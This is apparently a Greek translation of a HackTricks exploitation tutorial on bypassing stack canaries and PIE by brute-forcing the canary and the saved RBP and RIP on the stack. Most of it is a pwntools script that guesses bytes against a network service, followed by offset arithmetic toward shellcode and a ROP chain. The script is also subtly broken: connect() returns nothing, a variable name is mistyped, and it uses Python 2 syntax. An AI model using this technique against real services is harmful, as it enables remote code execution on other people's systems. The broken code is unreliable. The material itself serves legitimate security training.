BF Addresses in the Stack

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και το PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.

Σημειώστε ότι το checksec ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary αν αυτό ήταν στατικά μεταγλωττισμένο και δεν είναι ικανό να αναγνωρίσει τη λειτουργία. Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν την έξοδο.

Διευθύνσεις Brute-Force

Για να παρακάμψετε το PIE χρειάζεστε να διαρρεύσετε μια διεύθυνση. Και αν το δυαδικό δεν διαρρέει καμία διεύθυνση, το καλύτερο είναι να δοκιμάσετε βίαια το RBP και το RIP που αποθηκεύονται στη στοίβα στην ευάλωτη συνάρτηση. Για παράδειγμα, αν ένα δυαδικό προστατεύεται χρησιμοποιώντας τόσο ένα canary όσο και το PIE, μπορείτε να ξεκινήσετε τη βίαιη δοκιμή του canary, στη συνέχεια τα επόμενα 8 Bytes (x64) θα είναι το αποθηκευμένο RBP και τα επόμενα 8 Bytes θα είναι το αποθηκευμένο RIP.

Υποθέτεται ότι η διεύθυνση επιστροφής μέσα στη στοίβα ανήκει στον κύριο κώδικα του δυαδικού, ο οποίος, αν η ευπάθεια βρίσκεται στον κώδικα του δυαδικού, συνήθως θα είναι η περίπτωση.

Για να δοκιμάσετε βίαια το RBP και το RIP από το δυαδικό μπορείτε να συμπεράνετε ότι ένα έγκυρο μαντεμένο byte είναι σωστό αν το πρόγραμμα εμφανίζει κάτι ή απλά δεν καταρρέει. Η ίδια συνάρτηση που παρέχεται για τη βίαιη δοκιμή του canary μπορεί να χρησιμοποιηθεί για τη βίαιη δοκιμή του RBP και του RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Το τελευταίο πράγμα που χρειάζεστε για να ξεπεράσετε το PIE είναι να υπολογίσετε χρήσιμες διευθύνσεις από τις διευθύνσεις που διέρρευσαν: το RBP και το RIP.

Από το RBP μπορείτε να υπολογίσετε πού γράφετε το shell σας στο stack. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε το string "/bin/sh\x00" μέσα στο stack. Για να υπολογίσετε την απόσταση μεταξύ του διερραγέντος RBP και του shellcode σας, απλά μπορείτε να τοποθετήσετε ένα σημείο ανακοπής μετά τη διαρροή του RBP και να ελέγξετε πού βρίσκεται ο κώδικας του shell σας, έπειτα, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP:

INI_SHELLCODE = RBP - 1152

Από το RIP μπορείτε να υπολογίσετε τη βασική διεύθυνση του PIE δυαδικού που θα χρειαστείτε για να δημιουργήσετε μια έγκυρη ROP αλυσίδα. Για να υπολογίσετε τη βασική διεύθυνση, απλώς εκτελέστε objdump -d vunbinary και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης:

Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζονται μόνο 1 Byte και μισό για να εντοπίσετε όλο τον κώδικα, στη συνέχεια, η βασική διεύθυνση σε αυτήν την κατάσταση θα είναι το διαρρεύσει RIP αλλά τελειώνοντας στο "000". Για παράδειγμα, αν διέρρευσε 0x562002970ecf η βασική διεύθυνση θα είναι 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Βελτιώσεις

Σύμφωνα με μερικές παρατηρήσεις από αυτήν την ανάρτηση, είναι δυνατόν όταν διαρρέει τις τιμές του RBP και RIP, ο διακομιστής να μην καταρρέει με μερικές τιμές που δεν είναι οι σωστές και το BF script θα νομίζει ότι έχει λάβει τις σωστές. Αυτό συμβαίνει επειδή είναι δυνατόν ότι μερικές διευθύνσεις απλά δεν θα το σπάσουν ακόμα κι αν δεν είναι ακριβώς οι σωστές.

Σύμφωνα με αυτήν την ανάρτηση στο blog, συνιστάται να προστεθεί μια μικρή καθυστέρηση μεταξύ των αιτημάτων προς τον διακομιστή.

Last updated